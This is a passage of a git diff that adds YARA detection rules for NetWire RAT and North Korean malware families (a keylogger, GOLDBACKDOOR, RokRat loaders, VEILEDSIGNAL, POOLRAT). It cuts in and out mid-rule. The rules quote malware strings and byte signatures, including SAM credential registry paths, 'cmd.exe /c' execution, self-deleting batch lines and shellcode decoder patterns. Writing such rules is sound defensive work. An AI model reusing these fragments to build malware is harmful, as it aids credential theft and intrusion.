+   strings:
+      $ = "Z_PostBackJS" ascii wide
+      $ = "z_file_download" ascii wide
+      $ = "z_WebShell" ascii wide
+      $ = "1367948c7859d6533226042549228228" ascii wide
+   condition:
+      3 of them
+}
diff --git a/yara-Neo23x0/apt_netwire_rat.yar b/yara-Neo23x0/apt_netwire_rat.yar
new file mode 100644
index 0000000..1e983d6
--- /dev/null
+++ b/yara-Neo23x0/apt_netwire_rat.yar
@@ -0,0 +1,60 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-05
+   Identifier: NetWire
+   Reference: https://pastebin.com/8qaiyPxs
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Susp_Indicators_EXE {
+   meta:
+      description = "Detects packed NullSoft Inst EXE with characteristics of NetWire RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://pastebin.com/8qaiyPxs"
+      date = "2018-01-05"
+      score = 60
+      hash1 = "6de7f0276afa633044c375c5c630740af51e29b6a6f17a64fbdd227c641727a4"
+      id = "b4015c24-d18e-51eb-9854-8cc0e6dba4d0"
+   strings:
+      $s1 = "Software\\Microsoft\\Windows\\CurrentVersion"
+      $s2 = "Error! Bad token or internal error" fullword ascii
+      $s3 = "CRYPTBASE" fullword ascii
+      $s4 = "UXTHEME" fullword ascii
+      $s5 = "PROPSYS" fullword ascii
+      $s6 = "APPHELP" fullword ascii
+   condition:
+   uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and filesize < 700KB and all of them
+}
+
+rule Suspicious_BAT_Strings {
+   meta:
+      description = "Detects a string also used in Netwire RAT auxilliary"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      reference = "https://pastebin.com/8qaiyPxs"
+      date = "2018-01-05"
+      id = "5fe28555-96c8-54da-b047-7d0a7532a6d2"
+   strings:
+      $s1 = "ping 192.0.2.2 -n 1" ascii
+   condition:
+      filesize < 600KB and 1 of them
+}
+
+rule Malicious_BAT_Strings {
+   meta:
+      description = "Detects a string also used in Netwire RAT auxilliary"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      reference = "https://pastebin.com/8qaiyPxs"
+      date = "2018-01-05"
+      id = "6e197d05-62eb-535d-8cd6-db8550e51588"
+   strings:
+      $s1 = "call :deleteSelf&exit /b"
+   condition:
+      filesize < 600KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_nk_gen.yar b/yara-Neo23x0/apt_nk_gen.yar
new file mode 100644
index 0000000..73fe668
--- /dev/null
+++ b/yara-Neo23x0/apt_nk_gen.yar
@@ -0,0 +1,35 @@
+
+rule APT_NK_MAL_Keylogger_Unknown_Nov19_1 {
+   meta:
+      description = "Detects unknown keylogger reported by CNMF in November 2019"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/CNMF_VirusAlert/status/1192131508007505921"
+      date = "2019-11-06"
+      hash1 = "04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30"
+      hash2 = "618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6"
+      id = "5311d883-52e0-5503-9494-c583fabbedfe"
+   strings:
+      $x1 = "CKeyLogDlg::Keylogger_WriteFile" ascii
+      $x2 = "Keylog file is saved >>>>>> %s" fullword ascii
+      $x3 = "MicCap file is saved >>>>>> %s" fullword ascii
+      $x4 = "cr5cr33nc4p.dat" fullword ascii
+      $xc1 = { 73 74 61 74 75 73 00 00 5C 4B 65 79 6C 6F 67 }
+      $xc2 = { 5B 43 4D 69 63 43 61 70 44 6C 67 5D 2E 00 00 00
+               25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64
+               25 30 32 64 2E 77 61 76 }
+      $xc3 = { 25 73 00 00 25 73 5C 2A 2E 2A 00 00 61 62 00 00
+               5B 25 73 5D 20 75 70 6C 6F 61 64 20 66 61 69 6C
+               65 64 2E 00 72 62 00 00 5B 25 73 5D 20 6F 70 65
+               6E 20 66 61 69 6C 65 64 2E 00 00 00 2E 2E 00 00
+               5B 25 73 20 2D 3E 20 25 73 5D 20 63 6F 70 79 20
+               66 61 69 6C 65 64 }
+
+      $s1 = "%s\\cmd.exe /c %s" fullword ascii
+      $s2 = "File upload error occured in [CFSDlg::ProcessResultMessage]." fullword ascii
+      $s3 = "\\SAM\\Domains\\Account\\Users\\Names" ascii
+      $s4 = "%s_hist%d:%d:%s:%s:::" fullword ascii
+      $s5 = "CARAT_Ws2_32.dll" fullword ascii
+      $s6 = "PID [%s], open process failed." fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 40000KB and ( 1 of ($x*) or 4 of them )
+}
diff --git a/yara-Neo23x0/apt_nk_goldbackdoor.yar b/yara-Neo23x0/apt_nk_goldbackdoor.yar
new file mode 100644
index 0000000..e973935
--- /dev/null
+++ b/yara-Neo23x0/apt_nk_goldbackdoor.yar
@@ -0,0 +1,58 @@
+
+rule EXT_NK_GOLDBACKDOOR_inital_shellcode {
+    meta:
+        author= "Silas Cutler (silas@Stairwell.com)"
+        description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
+        version = "0.1"
+        date = "2022-04-21"
+        reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+        score = 80
+        id = "daab8e54-11b3-51cc-8bee-55b078f3e791"
+    strings:
+        $ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
+              CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
+              67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
+        // Import loaders
+        $ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
+        $ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
+    condition:
+        all of them
+}
+
+rule EXT_NK_GOLDBACKDOOR_injected_shellcode {
+    meta:
+        author= "Silas Cutler (silas@Stairwell.com)"
+        description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
+        version = "0.1"
+        date = "2022-04-21"
+        reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+        score = 80
+        id = "aa921f01-98cc-51ab-877a-e7beede77e36"
+    strings:
+        $dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 }
+        $rtlfillmemory_load = { B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0 }
+        $ = "StartModule"
+        $log_file_name = { C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 
+                           61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24 
+                           50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C
+                           64 32 C7 44 24 5C 2E 74 78 74 }
+         $ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
+    condition:
+       3 of them
+}
+
+rule EXT_NK_GOLDBACKDOOR_generic_shellcode {
+    meta:
+        author= "Silas Cutler (silas@Stairwell.com)"
+        description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
+        version = "0.1"
+        date = "2022-04-21"
+        reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+        score = 75
+        id = "70081d63-0b26-5358-8444-5adc3a44aaa0"
+    strings:
+        $ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
+        $ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
+    condition:
+        all of them
+}
diff --git a/yara-Neo23x0/apt_nk_inkysquid.yar b/yara-Neo23x0/apt_nk_inkysquid.yar
new file mode 100644
index 0000000..7ec0bde
--- /dev/null
+++ b/yara-Neo23x0/apt_nk_inkysquid.yar
@@ -0,0 +1,179 @@
+/* 
+Copyright 2021 by Volexity, Inc.
+
+The 2-Clause BSD License
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+rule APT_RUBY_RokRat_Loader : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Ruby loader seen loading the ROKRAT malware family."
+        date = "2021-06-22"
+        hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        id = "69d09560-a769-55d3-a442-e37f10453cde"
+    strings:
+        $magic1 = "'https://update.microsoft.com/driverupdate?id=" ascii wide
+        $magic2 = "sVHZv1mCNYDO0AzI';" ascii wide
+        $magic3 = "firoffset..scupd.size" ascii wide
+        $magic4 = /alias UrlFilter[0-9]{2,5} eval;"/
+        
+        // Original: 'Fiddle::Pointer' (Reversed)
+        $s1 = "clRnbp9GU6oTZsRGZpZ"
+        $s2 = "RmlkZGxlOjpQb2ludGVy"
+        $s3 = "yVGdul2bQpjOlxGZklmR"
+        $s4 = "XZ05WavBlO6UGbkRWaG"
+
+    condition:
+        any of ($magic*) or
+        any of ($s*)
+}
+
+rule APT_PY_BlueLight_Loader : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Python Loader used to execute the BLUELIGHT malware family."
+        date = "2021-06-22"
+        hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        id = "f8da3e40-c3b0-5b7f-8ece-81874993d8cd"
+    strings:
+        $s1 = "\"\".join(chr(ord(" ascii
+        $s2 = "import ctypes " ascii
+        $s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
+        $s4 = "ctypes.memmove" ascii
+        $s5 = "python ended" ascii
+
+    condition:
+        all of them
+}
+
+/* slightly modified for performance reasons by Florian Roth */
+rule APT_MAL_Win_DecRok : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-06-23"
+        description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
+        hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        id = "dc83843d-fd2a-52f1-82e8-8e36b135a0c5"
+    strings:
+        $v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
+
+        $av1 = "Select * From AntiVirusProduct" wide
+        $av2 = "root\\SecurityCenter2" wide
+
+      /* CreateThread..%02x */
+        $funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }
+
+    condition:
+        all of them
+}
+
+rule APT_MAL_Win_RokLoad_Loader : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-06-23"
+        description = "A shellcode loader used to decrypt and run an embedded executable."
+        hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        id = "229dbf3c-1538-5ecd-b5f8-8c9a9c81c515"
+    strings:
+        $bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }
+    
+    condition:
+        $bytes00 at 0
+}
+
+
+/* rules by S2W */
+
+rule APT_NK_Scarcruft_RUBY_Shellcode_XOR_Routine {
+     meta:
+       author        = "S2WLAB_TALON_JACK2"
+       description   = "Detects Ruby ShellCode XOR routine used by ScarCruft APT group"
+       type          = "APT"
+       version       = "0.1"
+       date          = "2021-05-20"
+       reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
+       id = "c393f2db-8ade-5083-9cec-f62f23056f8b"
+     strings:
+         /*
+         8B 4C 18 08             mov     ecx, [eax+ebx+8]
+         C1 C7 0D                rol     edi, 0Dh
+         40                      inc     eax
+         F6 C7 01                test    bh, 1
+         74 06                   jz      short loc_D0
+         81 F7 97 EA AE 78       xor     edi, 78AEEA97h
+         */
+         $hex1   = {C1 C7 0D 40 F6 C7 01 74 ?? 81 F7}
+         /*
+         41 C1 C2 0D             rol     r10d, 0Dh
+         41 8B C2                mov     eax, r10d
+         44 8B CA                mov     r9d, edx
+         41 8B CA                mov     ecx, r10d
+         41 81 F2 97 EA AE 78    xor     r10d, 78AEEA97h
+         */
+         $hex2   = {41 C1 C2 0D 41 8B C2 44 8B CA 41 8B CA 41 81 F2}
+     condition:
+         1 of them
+ }
+
+rule APT_NK_Scarcruft_evolved_ROKRAT {
+    meta:
+        author        = "S2WLAB_TALON_JACK2"
+        description   = "Detects RokRAT malware used by ScarCruft APT group"
+        type          = "APT"
+        version       = "0.1"
+        date          = "2021-07-09"
+        reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
+        id = "53cabf41-0154-5372-b667-60d8a7cb9806"
+    strings:
+/*
+0x140130f25 C744242032311223              mov dword ptr [rsp + 0x20], 0x23123132
+0x140130f2d C744242434455667              mov dword ptr [rsp + 0x24], 0x67564534
+0x140130f35 C744242878899AAB              mov dword ptr [rsp + 0x28], 0xab9a8978
+0x140130f3d C744242C0CBDCEDF              mov dword ptr [rsp + 0x2c], 0xdfcebd0c
+0x140130f45 C745F02B7EA516                mov dword ptr [rbp - 0x10], 0x16a57e2b
+0x140130f4c C745F428AED2A6                mov dword ptr [rbp - 0xc], 0xa6d2ae28
+0x140130f53 C745F8ABF71588                mov dword ptr [rbp - 8], 0x8815f7ab
+0x140130f5a C745FC09CF4F3C                mov dword ptr [rbp - 4], 0x3c4fcf09
+*/
+        $AES_IV_KEY = {
+        C7 44 24 ?? 32 31 12 23
+        C7 44 24 ?? 34 45 56 67
+        C7 44 24 ?? 78 89 9A AB
+        C7 44 24 ?? 0C BD CE DF
+        C7 45 ?? 2B 7E A5 16
+        C7 45 ?? 28 AE D2 A6
+        C7 45 ?? AB F7 15 88
+        C7 45 ?? 09 CF 4F 3C
+        }
+/*
+0x14012b637 80E90F                        sub cl, 0xf
+0x14012b63a 80F1C8                        xor cl, 0xc8
+0x14012b63d 8848FF                        mov byte ptr [rax - 1], cl
+0x14012b640 4883EA01                      sub rdx, 1
+*/
+       $url_deocde = {
+               80 E9 0F
+               80 F1 C8
+               88 48 ??
+               48 83 EA 01  }
+    condition:
+        uint16(0) == 0x5A4D and
+        any of them
+}
diff --git a/yara-Neo23x0/apt_nk_tradingtech_apr23.yar b/yara-Neo23x0/apt_nk_tradingtech_apr23.yar
new file mode 100644
index 0000000..f413267
--- /dev/null
+++ b/yara-Neo23x0/apt_nk_tradingtech_apr23.yar
@@ -0,0 +1,242 @@
+import "pe"
+rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23 {
+   meta:
+      description = "Detects malicious VEILEDSIGNAL backdoor"
+      author = "X__Junior"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      score = 85
+      hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
+      id = "74c403ea-3178-58e8-88b3-a51c1d475868"
+    strings:
+      $op1 = {B8 AB AA AA AA F7 E1 8B C1 C1 EA 02 8D 14 52 03 D2 2B C2 8A 84 05 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ??} /* xor decryption*/ 
+      $op2 = { 50 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 3C 00 00 00 C7 85 ?? ?? ?? ?? 40 00 00 00 C7 85 ?? ?? ?? ?? 05 00 00 00 FF 15} /* shellexecute*/
+      $op3 = { 6A 00 8D 85 ?? ?? ?? ?? 50 6A 04 8D 85 ?? ?? ?? ?? 50 57 FF 15 } /* read file*/
+    condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+rule SUSP_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23 {
+   meta:
+      description = "Detects marker found in VEILEDSIGNAL backdoor"
+      author = "X__Junior"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      modified = "2023-04-21"
+      score = 75
+      hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
+      id = "8f0d92b6-d9b0-55e3-b2ca-601d095f5279"
+   strings:
+      $opb1 = { 81 BD ?? ?? ?? ?? 5E DA F3 76} /* marker */
+      $opb2 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA 66 C7 85 ?? ?? ?? ?? E5 CF} /* 1st xor key*/
+      $opb3 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA B9 00 04 00 00 66 C7 85 ?? ?? ?? ?? E5 CF } /* 2nd xor key*/
+   condition:
+      2 of them
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_1 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      hash1 = "404b09def6054a281b41d309d809a428"
+      hash2 = "c6441c961dcad0fe127514a918eaabd4"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "3e7c92fe-a7bd-5180-9935-4f98f2b64e2b"
+   strings:
+      $rh1 = { 68 5D 7A D2 2C 3C 14 81 2C 3C 14 81 2C 3C 14 81 77 54 10 80 26 3C 14 81 77 54 17 80 29 3C 14 81 77 54 11 80 AB 3C 14 81 D4 4C 11 80 33 3C 14 81 D4 4C 10 80 22 3C 14 81 D4 4C 17 80 25 3C 14 81 77 54 15 80 27 3C 14 81 2C 3C 15 81 4B 3C 14 81 94 4D 1D 80 28 3C 14 81 94 4D 14 80 2D 3C 14 81 94 4D 16 80 2D 3C 14 81 }
+      $rh2 = { 00 E5 A0 2B 44 84 CE 78 44 84 CE 78 44 84 CE 78 1F EC CA 79 49 84 CE 78 1F EC CD 79 41 84 CE 78 1F EC CB 79 C8 84 CE 78 BC F4 CA 79 4A 84 CE 78 BC F4 CD 79 4D 84 CE 78 BC F4 CB 79 65 84 CE 78 1F EC CF 79 43 84 CE 78 44 84 CF 78 22 84 CE 78 FC F5 C7 79 42 84 CE 78 FC F5 CE 79 45 84 CE 78 FC F5 CC 79 45 84 CE 78}
+      $rh3 = { DA D2 21 22 9E B3 4F 71 9E B3 4F 71 9E B3 4F 71 C5 DB 4C 70 94 B3 4F 71 C5 DB 4A 70 15 B3 4F 71 C5 DB 4B 70 8C B3 4F 71 66 C3 4B 70 8C B3 4F 71 66 C3 4C 70 8F B3 4F 71 C5 DB 49 70 9F B3 4F 71 66 C3 4A 70 B0 B3 4F 71 C5 DB 4E 70 97 B3 4F 71 9E B3 4E 71 F9 B3 4F 71 26 C2 46 70 9F B3 4F 71 26 C2 B0 71 9F B3 4F 71 9E B3 D8 71 9F B3 4F 71 26 C2 4D 70 9F B3 4F 71 }
+      $rh4 = { CB 8A 35 66 8F EB 5B 35 8F EB 5B 35 8F EB 5B 35 D4 83 5F 34 85 EB 5B 35 D4 83 58 34 8A EB 5B 35 D4 83 5E 34 09 EB 5B 35 77 9B 5E 34 92 EB 5B 35 77 9B 5F 34 81 EB 5B 35 77 9B 58 34 86 EB 5B 35 D4 83 5A 34 8C EB 5B 35 8F EB 5A 35 D3 EB 5B 35 37 9A 52 34 8C EB 5B 35 37 9A 58 34 8E EB 5B 35 37 9A 5B 34 8E EB 5B 35 37 9A 59 34 8E EB 5B 35 }
+   condition:
+      uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 1 of ($rh*)
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_2 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      hash1 = "404b09def6054a281b41d309d809a428"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "1b96c2f0-1c57-593e-9630-a72d43eb857e"
+   strings:
+      $sb1 = { C1 E0 05 4D 8? [2] 33 D0 45 69 C0 7D 50 BF 12 8B C2 41 FF C2 C1 E8 07 33 D0 8B C2 C1 E0 16 41 81 C0 87 D6 12 00 }
+      $si1 = "CryptBinaryToStringA" fullword
+      $si2 = "BCryptGenerateSymmetricKey" fullword
+      $si3 = "CreateThread" fullword
+      $ss1 = "ChainingModeGCM" wide
+      $ss2 = "__tutma" fullword
+   condition:
+      (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_3 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      md5 = "c6441c961dcad0fe127514a918eaabd4"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "82790c65-1d93-509b-95df-841543943c30"
+   strings:
+      $ss1 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 73 6F 6E 2C 20 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 20 71 3D 30 2E 30 31 00 00 61 63 63 65 70 74 00 00 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 39 00 00 61 63 63 65 70 74 2D 6C 61 6E 67 75 61 67 65 00 63 6F 6F 6B 69 65 00 00 }
+      $si1 = "HttpSendRequestW" fullword
+      $si2 = "CreateNamedPipeW" fullword
+      $si3 = "CreateThread" fullword
+      $se1 = "DllGetClassObject" fullword
+   condition:
+      (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_4 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      hash1 = "404b09def6054a281b41d309d809a428" 
+      hash2 = "c6441c961dcad0fe127514a918eaabd4"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "379e6471-3c4f-5c72-b8fd-17f481e89ac6"
+   strings:
+      $sb1 = { FF 15 FC 76 01 00 8B F0 85 C0 74 ?? 8D 50 01 [6-16] FF 15 [4] 48 8B D8 48 85 C0 74 ?? 89 ?? 24 28 44 8B CD 4C 8B C? 48 89 44 24 20 }
+      $sb2 = { 33 D2 33 C9 FF 15 [4] 4C 8B CB 4C 89 74 24 28 4C 8D 05 [2] FF FF 44 89 74 24 20 33 D2 33 C9 FF 15 }
+      $si1 = "CreateThread" fullword
+      $si2 = "MultiByteToWideChar" fullword
+      $si3 = "LocalAlloc" fullword
+      $se1 = "DllGetClassObject" fullword
+   condition:
+      (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_5 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      hash1 = "6727284586ecf528240be21bb6e97f88"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "7d0718fc-4f1c-5293-8dc4-81a5783fbfb2"
+   strings:
+      $sb1 = { 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D [3] 48 8B CB FF 15 [4] EB }
+      $ss1 = "chrome.exe" wide fullword
+      $ss2 = "firefox.exe" wide fullword
+      $ss3 = "msedge.exe" wide fullword
+      $ss4 = "\\\\.\\pipe\\*" ascii fullword
+      $ss5 = "FindFirstFileA" ascii fullword
+      $ss6 = "Process32FirstW" ascii fullword
+      $ss7 = "RtlAdjustPrivilege" ascii fullword
+      $ss8 = "GetCurrentProcess" ascii fullword
+      $ss9 = "NtWaitForSingleObject" ascii fullword
+   condition:
+      (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+
+rule APT_NK_MAL_M_Hunting_VEILEDSIGNAL_6 {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      score = 75
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      hash1 = "00a43d64f9b5187a1e1f922b99b09b77"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "2cbedbc0-d465-5674-bf9c-9362003eb8d2"
+   strings:
+      $ss1 = "C:\\Programdata\\" wide
+      $ss2 = "devobj.dll" wide fullword
+      $ss3 = "msvcr100.dll" wide fullword
+      $ss4 = "TpmVscMgrSvr.exe" wide fullword
+      $ss5 = "\\Microsoft\\Windows\\TPM" wide fullword
+      $ss6 = "CreateFileW" ascii fullword
+   condition:
+      (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+
+rule SUSP_NK_MAL_M_Hunting_POOLRAT {
+   meta:
+      description = "Detects VEILEDSIGNAL malware"
+      author = "Mandiant"
+      old_rule_name = "APT_NK_MAL_M_Hunting_POOLRAT"
+      score = 70
+      disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+      description = "Detects strings found in POOLRAT malware"
+      hash1 = "451c23709ecd5a8461ad060f6346930c"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      id = "70f5f3a0-0fd0-54dc-97cc-4f3c35f02fcd"
+   strings:
+      /*
+      $hex1 = { 6e 61 6d 65 3d 22 75 69 64 22 25 73 25 73 25 75 25 73 }
+      $hex_uni1 = { 6e 00 61 00 6d 00 65 00 3d 00 22 00 75 00 69 00 64 00 22 00 25 00 73 00 25 00 73 00 25 00 75 00 25 00 73 }
+      */
+      $s1 = "name=\"uid\"%s%s%u%s" ascii wide
+      /*
+      $hex2 = { 6e 61 6d 65 3d 22 73 65 73 73 69 6f 6e 22 25 73 25 73 25 75 25 73 }
+      $hex_uni2 = { 6e 00 61 00 6d 00 65 00 3d 00 22 00 73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 22 00 25 00 73 00 25 00 73 00 25 00 75 00 25 00 73 }
+      */
+      $s2 = "name=\"session\"%s%s%u%s" ascii wide
+      /*
